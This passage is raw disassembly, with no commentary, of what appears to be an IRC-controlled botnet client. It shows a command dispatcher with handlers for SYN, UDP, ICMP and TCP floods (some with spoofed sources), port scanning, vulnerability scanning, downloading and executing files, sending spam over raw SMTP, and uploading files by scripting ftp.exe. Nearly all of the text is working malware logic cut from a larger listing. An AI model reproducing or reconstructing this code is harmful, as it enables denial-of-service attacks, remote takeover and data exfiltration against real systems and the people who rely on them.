; "download.upz" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4109B2 push [ebp+arg_8] push offset aBox_execute ; "box.execute" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410919 push [ebp+arg_8] push offset aBox_e ; "box.e" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410919 push [ebp+arg_8] push offset aBox_findfile ; "box.findfile" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41080D push [ebp+arg_8] push offset aBox_ff ; "box.ff" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41080D push [ebp+arg_8] push offset aBox_rename ; "box.rename" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4107BC push [ebp+arg_8] push offset aBox_mv ; "box.mv" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4107BC push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4106C2 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4106C2 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40D18F push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4105D8 push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4105D8 push [ebp+arg_8] push offset aDs_sy1 ; "ds.sy1" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4104C7 push [ebp+arg_8] push offset aDs_ack ; "ds.ack" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4104C7 push [ebp+arg_8] push offset aDs_rm ; "ds.rm" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4104C7 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4103C9 push [ebp+arg_8] push offset aSy1 ; "sy1" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4103C9 push [ebp+arg_8] push offset aDownload_fromw ; "download.fromwww" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41028C push [ebp+arg_8] push offset aD1 ; "d1" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41028C push [ebp+arg_8] push offset aServer_redir_0 ; "server.redirect.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410193 push [ebp+arg_8] push offset aServer_rd_on ; "server.rd.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410193 push [ebp+arg_8] push offset aEnz_portscan ; "enz.portscan" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4100A1 push [ebp+arg_8] push offset aEnz_ps ; "enz.ps" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4100A1 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FFCC push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FFCC push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FEBA push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FEBA mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40D18F push [ebp+arg_8] push offset aVuln_start ; "vuln.start" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FB65 push [ebp+arg_8] push offset aVvv ; "vvv" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FB65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FA46 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FA46 push [ebp+arg_8] push offset aPu ; "pu" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40FA46 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40F920 push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40F920 push [ebp+arg_8] push offset aPg ; "pg" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40F920 push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40F75E push [ebp+arg_8] push offset aUsa ; "usa" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40F75E push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40F55E lea eax, [ebp+var_A7C] push edi push eax call sub_415A20 push [ebp+arg_18] call sub_41587F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_1FD4] push eax call sub_415A20 push [ebp+arg_10] lea eax, [ebp+var_1690] push eax call sub_415A20 push offset asc_426A34 ; " " push offset a_ ; "_" push [ebp+esi+var_80] call sub_4098D4 push eax lea eax, [ebp+var_1ED4] push eax call sub_415A20 add esp, 30h lea eax, [ebp+var_1824] push eax push 101h call dword_43C4CC ; WSAStartup lea eax, [ebp+var_A7C] push eax call dword_43C5D8 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_43C5D4 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_D0], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_CC], eax call dword_43C554 ; ntohs mov [ebp+var_CE], ax lea eax, [ebp+var_1ED4] push eax lea eax, [ebp+var_1FD4] push eax lea eax, [ebp+var_1ED4] push eax lea eax, [ebp+var_1690] push eax lea eax, [ebp+var_1FD4] push eax lea eax, [ebp+var_27D4] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_415316 add esp, 1Ch lea eax, [ebp+var_D0] push 10h push eax push esi call dword_43C4FC ; connect mov edi, 100h push ebx lea eax, [ebp+var_1DD0] push edi push eax push esi call dword_43C56C ; recv lea eax, [ebp+var_1DD0] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_27D4] push eax push esi call dword_43C5A4 ; send push ebx lea eax, [ebp+var_1DD0] push edi push eax push esi call dword_43C56C ; recv push esi call dword_43C5EC ; closesocket call dword_43C4B4 ; WSACleanup lea eax, [ebp+var_1690] push eax push offset unk_435398 loc_40F517: ; CODE XREF: sub_40CD3A+396Ej ; sub_40CD3A+3DD1j ... lea eax, [ebp+var_2D8] loc_40F51D: ; CODE XREF: sub_40CD3A+3C73j push eax call sub_415316 loc_40F523: ; CODE XREF: sub_40CD3A+50FEj add esp, 0Ch loc_40F526: ; CODE XREF: sub_40CD3A+1E21j ; sub_40CD3A+1E7Bj ... cmp [ebp+var_8], ebx jnz short loc_40F547 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_40F547: ; CODE XREF: sub_40CD3A+27EFj ; sub_40CD3A+4433j ... mov esi, [ebp+arg_24] loc_40F54A: ; CODE XREF: sub_40CD3A+954j ; sub_40CD3A+475Dj ... lea eax, [ebp+var_2D8] push eax call sub_40B078 pop ecx mov eax, esi jmp loc_40D192 ; --------------------------------------------------------------------------- loc_40F55E: ; CODE XREF: sub_40CD3A+2687j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40F730 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_415730 pop ecx test eax, eax pop ecx jz loc_40F730 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40D18F push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_412818 push 4 push esi call sub_40C0F3 pop ecx test eax, eax pop ecx jnz short loc_40F604 push esi push offset dword_43533C loc_40F5C3: ; CODE XREF: sub_40CD3A+4989j lea eax, [ebp+var_2D8] push eax call sub_415316 add esp, 0Ch loc_40F5D2: ; CODE XREF: sub_40CD3A+42DBj ; sub_40CD3A+518Dj cmp [ebp+var_8], ebx jnz short loc_40F5F3 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_40F5F3: ; CODE XREF: sub_40CD3A+289Bj ; sub_40CD3A+5381j ... lea eax, [ebp+var_2D8] push eax call sub_40B078 jmp loc_412999 ; --------------------------------------------------------------------------- loc_40F604: ; CODE XREF: sub_40CD3A+2881j call dword_42104C ; GetTickCount push eax call sub_415368 pop ecx call sub_415372 push 9 cdq pop ecx idiv ecx push edx call sub_415372 push 63h cdq pop ecx idiv ecx push edx call sub_415372 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_1DD4] push edx push eax lea eax, [ebp+var_1694] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_415316 lea eax, [ebp+var_1694] push offset aAb ; "ab" push eax call sub_415A08 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40D18F push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_4159B6 push [ebp+arg_24] call sub_415960 lea eax, [ebp+var_1694] push eax lea eax, [ebp+var_A7C] push offset aSS_4 ; "-s:%s" push eax call sub_415316 add esp, 2Ch lea eax, [ebp+var_A7C] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43C4C8 ; ShellExecuteA push edi push esi test eax, eax jz short loc_40F6CE push offset dword_4352C0 jmp short loc_40F6D3 ; --------------------------------------------------------------------------- loc_40F6CE: ; CODE XREF: sub_40CD3A+298Bj push offset dword_435280 loc_40F6D3: ; CODE XREF: sub_40CD3A+2992j call sub_415316 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40F6FC push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_40F6FC: ; CODE XREF: sub_40CD3A+29A4j lea eax, [ebp+var_2D8] push eax call sub_40B078 jmp short loc_40F716 ; --------------------------------------------------------------------------- loc_40F70A: ; CODE XREF: sub_40CD3A+29EFj lea eax, [ebp+var_1694] push eax call sub_41791C loc_40F716: ; CODE XREF: sub_40CD3A+29CEj lea eax, [ebp+var_1694] push 4 push eax call sub_40C0F3 add esp, 0Ch test eax, eax jnz short loc_40F70A jmp loc_40D18F ; --------------------------------------------------------------------------- loc_40F730: ; CODE XREF: sub_40CD3A+2835j ; sub_40CD3A+284Cj push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41587F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406A63 jmp loc_412815 ; --------------------------------------------------------------------------- loc_40F75E: ; CODE XREF: sub_40CD3A+2659j ; sub_40CD3A+2670j mov esi, 80h push edi lea eax, [ebp+var_1104] push esi push eax call sub_41588A lea eax, [ebp+var_1104] push eax push offset aSyn ; "syn" call sub_415730 add esp, 14h test eax, eax jz short loc_40F7C1 lea eax, [ebp+var_1104] push eax push offset aAck ; "ack" call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40F7C1 lea eax, [ebp+var_1104] push eax push offset aRandom ; "random" call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40F7C1 push offset dword_435240 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_40F7C1: ; CODE XREF: sub_40CD3A+2A4Dj ; sub_40CD3A+2A64j ... push [ebp+arg_10] call sub_41587F cmp eax, ebx pop ecx mov [ebp+var_FFC], eax jle loc_40F8E3 push edi lea eax, [ebp+var_1104] push esi push eax call sub_41588A push [ebp+arg_18] lea eax, [ebp+var_1184] push esi push eax call sub_41588A push [ebp+arg_0] call sub_41587F mov [ebp+var_1000], eax xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_8C] setnz al mov [ebp+var_FF8], eax mov eax, [ebp+arg_4] mov [ebp+var_1188], eax lea eax, [ebp+var_1084] push esi push eax call sub_41588A mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_FF8], ebx mov [ebp+var_FF4], eax mov eax, [ebp+var_8] mov [ebp+var_FF0], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40F858 mov eax, offset aNormal ; "Normal" loc_40F858: ; CODE XREF: sub_40CD3A+2B17j push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_4351E8 lea eax, [ebp+var_2D8] push 200h push eax call sub_41588A push ebx lea eax, [ebp+var_2D8] push 0Ch push eax call sub_414DDA add esp, 2Ch mov [ebp+var_1004], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1188] push ebx push eax push offset sub_401BD4 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_1004] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_40F8D9 call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_435198 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_40F8D1: ; CODE XREF: sub_40CD3A+2BA5j push 32h call dword_421060 ; Sleep loc_40F8D9: ; CODE XREF: sub_40CD3A+2B84j cmp [ebp+var_FEC], ebx jz short loc_40F8D1 jmp short loc_40F8F6 ; --------------------------------------------------------------------------- loc_40F8E3: ; CODE XREF: sub_40CD3A+2A98j push offset dword_435148 loc_40F8E8: ; CODE XREF: sub_40CD3A+1B59j ; sub_40CD3A+1C63j ... lea eax, [ebp+var_2D8] push eax call sub_415316 pop ecx pop ecx loc_40F8F6: ; CODE XREF: sub_40CD3A+1C2Bj ; sub_40CD3A+1C3Fj ... cmp [ebp+var_8], ebx jnz loc_40D68B push ebx push [ebp+var_4] loc_40F903: ; CODE XREF: sub_40CD3A+3776j lea eax, [ebp+var_2D8] push eax push [ebp+var_8C] push [ebp+arg_4] loc_40F913: ; CODE XREF: sub_40CD3A+505Ej call sub_412BD1 add esp, 14h jmp loc_40D68B ; --------------------------------------------------------------------------- loc_40F920: ; CODE XREF: sub_40CD3A+2614j ; sub_40CD3A+262Bj ... cmp dword_43C640, ebx mov esi, [ebp+arg_4] jnz loc_40FA2B mov eax, [ebp+var_8] push 7Fh mov [ebp+var_590], eax mov eax, [ebp+var_4] mov [ebp+var_594], eax lea eax, [ebp+var_628] push edi push eax call sub_416BE0 push [ebp+arg_18] call sub_41587F push [ebp+arg_0] mov [ebp+var_5A8], eax call sub_41587F push [ebp+arg_10] mov [ebp+var_5A4], eax call sub_41587F push 7Fh mov [ebp+var_5A0], eax push [ebp+var_8C] lea eax, [ebp+var_6A8] push eax call sub_416BE0 push [ebp+var_5A0] lea eax, [ebp+var_628] mov [ebp+var_6AC], esi push [ebp+var_5A4] push eax lea eax, [ebp+var_2D8] push [ebp+var_5A8] push offset unk_4350E8 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 0Eh push eax call sub_414DDA add esp, 48h mov [ebp+var_598], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6AC] push ebx push eax push offset sub_40A133 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_598] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_40FA1E call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_435098 jmp loc_4105A5 ; --------------------------------------------------------------------------- loc_40FA16: ; CODE XREF: sub_40CD3A+2CEAj push 32h call dword_421060 ; Sleep loc_40FA1E: ; CODE XREF: sub_40CD3A+2CC9j cmp [ebp+var_58C], ebx jz short loc_40FA16 jmp loc_4105B4 ; --------------------------------------------------------------------------- loc_40FA2B: ; CODE XREF: sub_40CD3A+2BEFj push 1FFh lea eax, [ebp+var_2D8] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_416BE0 jmp loc_4105B1 ; --------------------------------------------------------------------------- loc_40FA46: ; CODE XREF: sub_40CD3A+25CFj ; sub_40CD3A+25E6j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_590], eax mov eax, [ebp+var_4] mov [ebp+var_594], eax lea eax, [ebp+var_628] push edi push eax call sub_416BE0 push [ebp+arg_18] call sub_41587F push [ebp+arg_0] mov [ebp+var_5A8], eax call sub_41587F push [ebp+arg_10] mov [ebp+var_5A4], eax call sub_41587F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_5A0], eax jz short loc_40FAAB push esi call sub_41587F pop ecx mov [ebp+var_59C], eax jmp short loc_40FAB1 ; --------------------------------------------------------------------------- loc_40FAAB: ; CODE XREF: sub_40CD3A+2D60j mov [ebp+var_59C], ebx loc_40FAB1: ; CODE XREF: sub_40CD3A+2D6Fj push 7Fh lea eax, [ebp+var_6A8] push [ebp+var_8C] push eax call sub_416BE0 push [ebp+var_5A0] mov esi, [ebp+arg_4] lea eax, [ebp+var_628] mov [ebp+var_6AC], esi push [ebp+var_5A4] push eax lea eax, [ebp+var_2D8] push [ebp+var_5A8] push offset dword_435020 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 0Fh push eax call sub_414DDA add esp, 30h mov [ebp+var_598], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6AC] push ebx push eax push offset sub_40A2BF push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_598] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_40FB58 call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_434FD0 jmp loc_4105A5 ; --------------------------------------------------------------------------- loc_40FB50: ; CODE XREF: sub_40CD3A+2E24j push 32h call dword_421060 ; Sleep loc_40FB58: ; CODE XREF: sub_40CD3A+2E03j cmp [ebp+var_58C], ebx jz short loc_40FB50 jmp loc_4105B4 ; --------------------------------------------------------------------------- loc_40FB65: ; CODE XREF: sub_40CD3A+25A1j ; sub_40CD3A+25B8j push 8 call sub_41501C push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41587F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 12Ch jle short loc_40FBB5 push [ebp+arg_8] lea eax, [ebp+var_2D8] push offset dword_434F78 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 jmp loc_410FD3 ; --------------------------------------------------------------------------- loc_40FBB5: ; CODE XREF: sub_40CD3A+2E47j push edi call sub_41587F push [ebp+arg_18] mov [ebp+var_474], eax call sub_41587F push [ebp+arg_0] mov [ebp+var_45C], eax call sub_41587F add esp, 0Ch cmp eax, 1 mov [ebp+var_470], eax jnb short loc_40FBEE xor eax, eax inc eax mov [ebp+var_470], eax loc_40FBEE: ; CODE XREF: sub_40CD3A+2EA9j push 3Ch pop ecx cmp eax, ecx jbe short loc_40FBFB mov [ebp+var_470], ecx loc_40FBFB: ; CODE XREF: sub_40CD3A+2EB9j push [ebp+arg_10] call sub_41587F mov [ebp+var_46C], eax mov eax, 1F4h cmp [ebp+var_46C], eax pop ecx jbe short loc_40FC1D mov [ebp+var_46C], eax loc_40FC1D: ; CODE XREF: sub_40CD3A+2EDBj or [ebp+var_458], 0FFFFFFFFh cmp dword_427388, ebx mov [ebp+arg_10], ebx jz short loc_40FC73 mov [ebp+arg_24], offset dword_427388 loc_40FC36: ; CODE XREF: sub_40CD3A+2F1Bj mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40FC59 add [ebp+arg_24], 3Ch inc [ebp+arg_10] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_40FC36 jmp short loc_40FC73 ; --------------------------------------------------------------------------- loc_40FC59: ; CODE XREF: sub_40CD3A+2F0Dj mov eax, [ebp+arg_10] mov ecx, eax mov [ebp+var_458], eax imul ecx, 3Ch mov ecx, dword_427388[ecx] mov [ebp+var_474], ecx loc_40FC73: ; CODE XREF: sub_40CD3A+2EF3j ; sub_40CD3A+2F1Dj cmp [ebp+var_474], ebx jz loc_411AD3 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_40FCBA cmp byte ptr [edi], 23h jz short loc_40FCBA push edi lea eax, [ebp+var_588] push 10h push eax call sub_41588A push 78h push edi call sub_416F20 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_448], eax jmp loc_40FD8E ; --------------------------------------------------------------------------- loc_40FCBA: ; CODE XREF: sub_40CD3A+2F4Ej ; sub_40CD3A+2F53j cmp [ebp+var_8FF], bl jnz short loc_40FCDC cmp [ebp+var_8FE], bl jnz short loc_40FCDC cmp [ebp+var_8EE], bl jnz short loc_40FCDC push offset dword_434F28 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_40FCDC: ; CODE XREF: sub_40CD3A+2F86j ; sub_40CD3A+2F8Ej ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_D0] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43C4F8 ; getsockname mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_CC], eax push [ebp+var_CC] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_588] push eax call sub_416BE0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40FD88 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_588] push eax call sub_416EE0 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_40FD7C loc_40FD5A: ; CODE XREF: sub_40CD3A+3040j cmp eax, ebx jz short loc_40FD7C mov byte ptr [eax], 78h lea eax, [ebp+var_588] push 30h push eax call sub_416EE0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40FD5A loc_40FD7C: ; CODE XREF: sub_40CD3A+301Ej ; sub_40CD3A+3022j mov [ebp+var_448], 1 jmp short loc_40FD8E ; --------------------------------------------------------------------------- loc_40FD88: ; CODE XREF: sub_40CD3A+2FF8j mov [ebp+var_448], ebx loc_40FD8E: ; CODE XREF: sub_40CD3A+2F7Bj ; sub_40CD3A+304Cj mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_478], eax mov eax, [ebp+var_4] mov [ebp+var_450], eax mov eax, [ebp+var_8] mov [ebp+var_44C], eax mov edi, 80h lea eax, [ebp+var_578] push edi push eax call sub_41588A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_40FDDF loc_40FDCC: ; CODE XREF: sub_40CD3A+30C8j push esi loc_40FDCD: ; CODE XREF: sub_40CD3A+30B2j lea eax, [ebp+var_4F8] push edi push eax call sub_41588A add esp, 0Ch jmp short loc_40FE0A ; --------------------------------------------------------------------------- loc_40FDDF: ; CODE XREF: sub_40CD3A+3090j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40FDEE cmp byte ptr [eax], 23h jnz short loc_40FDEE push eax jmp short loc_40FDCD ; --------------------------------------------------------------------------- loc_40FDEE: ; CODE XREF: sub_40CD3A+30AAj ; sub_40CD3A+30AFj mov esi, offset dword_42C304 push offset byte_43B188 push esi call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40FDCC mov [ebp+var_4F8], bl loc_40FE0A: ; CODE XREF: sub_40CD3A+30A3j cmp [ebp+var_448], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40FE1C mov eax, offset aSequential ; "Sequential" loc_40FE1C: ; CODE XREF: sub_40CD3A+30DBj push [ebp+var_45C] lea ecx, [ebp+var_588] push [ebp+var_46C] push [ebp+var_470] push [ebp+var_474] push ecx push eax lea eax, [ebp+var_2D8] push offset dword_434E98 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 8 push eax call sub_414DDA add esp, 2Ch mov [ebp+var_468], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_588] push ebx push eax push offset sub_4078DF push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_468] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_40FEAD call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_434E48 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_40FEA5: ; CODE XREF: sub_40CD3A+3179j push 32h call dword_421060 ; Sleep loc_40FEAD: ; CODE XREF: sub_40CD3A+3158j cmp [ebp+var_444], ebx jz short loc_40FEA5 jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_40FEBA: ; CODE XREF: sub_40CD3A+2561j ; sub_40CD3A+2578j push edi call sub_41587F imul eax, 234h pop ecx cmp byte_4416E0[eax], bl jz loc_412818 cmp [ebp+var_C], ebx jz loc_412818 push [ebp+arg_18] call sub_415B10 push edi mov esi, eax call sub_415B10 push [ebp+arg_8] add esi, eax call sub_415B10 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_4158E0 mov esi, eax lea eax, [ebp+var_2D8] push esi push offset dword_434E38 push eax call sub_415316 add esp, 20h cmp esi, ebx jz loc_412818 push edi call sub_41587F test eax, eax pop ecx jle loc_412818 push edi call sub_41587F cmp eax, 12Ch pop ecx jge loc_412818 push ebx lea eax, [ebp+var_2D8] push ebx push eax push [ebp+arg_18] push edi call sub_41587F imul eax, 234h pop ecx push dword_4416D4[eax] call sub_412BD1 push edi call sub_41587F imul eax, 234h add esp, 18h cmp byte ptr dword_4414C8[eax], 73h jnz loc_412818 push esi push edi call sub_41587F imul eax, 234h pop ecx add eax, offset byte_4416E0 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_40FFA2: ; CODE XREF: sub_40CD3A+3362j lea eax, [ebp+var_2D8] push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 jmp loc_411F81 ; --------------------------------------------------------------------------- loc_40FFCC: ; CODE XREF: sub_40CD3A+2533j ; sub_40CD3A+254Aj push edi call sub_41587F imul eax, 234h pop ecx cmp byte_4416E0[eax], bl jz loc_412818 cmp [ebp+var_C], ebx jz loc_412818 push [ebp+arg_18] call sub_415B10 push edi mov esi, eax call sub_415B10 push [ebp+arg_8] add esi, eax call sub_415B10 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_4158E0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_412818 push edi call sub_41587F test eax, eax pop ecx jle loc_412818 push edi call sub_41587F cmp eax, 12Ch pop ecx jge loc_412818 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41587F imul eax, 234h pop ecx push dword_4416D4[eax] call sub_412BD1 push edi call sub_41587F imul eax, 234h add esp, 18h cmp byte ptr dword_4414C8[eax], 73h jnz loc_412818 push esi push edi call sub_41587F imul eax, 234h pop ecx add eax, offset byte_4416E0 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_40FFA2 ; --------------------------------------------------------------------------- loc_4100A1: ; CODE XREF: sub_40CD3A+2505j ; sub_40CD3A+251Cj push edi call dword_43C594 ; inet_addr push [ebp+arg_18] mov [ebp+var_388], eax call sub_41587F push [ebp+arg_0] mov [ebp+var_394], eax call sub_41587F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_390], eax lea eax, [ebp+var_414] mov [ebp+var_418], esi push eax call sub_416BE0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_380], edi push [ebp+var_390] mov [ebp+var_37C], eax push [ebp+var_394] push [ebp+var_388] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_2D8] push offset unk_434DC8 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 8 push eax call sub_414DDA add esp, 20h mov [ebp+var_38C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_418] push ebx push eax push offset sub_4143AF push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_38C] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_410186 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434D78 jmp loc_411D70 ; --------------------------------------------------------------------------- loc_41017E: ; CODE XREF: sub_40CD3A+3452j push 32h call dword_421060 ; Sleep loc_410186: ; CODE XREF: sub_40CD3A+3431j cmp [ebp+var_378], ebx jz short loc_41017E jmp loc_411D7F ; --------------------------------------------------------------------------- loc_410193: ; CODE XREF: sub_40CD3A+24D7j ; sub_40CD3A+24EEj push edi call sub_41587F push 7Fh mov [ebp+var_EDC], eax push [ebp+arg_18] lea eax, [ebp+var_FE0] push eax call sub_416BE0 push [ebp+arg_0] call sub_41587F push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_EE0], eax lea eax, [ebp+var_F60] push 80h push eax mov [ebp+var_FE8], esi call sub_41588A mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_ECC], eax push [ebp+var_EE0] lea eax, [ebp+var_FE0] mov [ebp+var_ED0], edi push eax push [ebp+var_EDC] push esi call sub_40A08A pop ecx push eax lea eax, [ebp+var_2D8] push offset unk_434D28 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 10h push eax call sub_414DDA add esp, 24h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FE8] push ebx push eax push offset sub_407B36 push ebx push ebx call dword_42108C ; 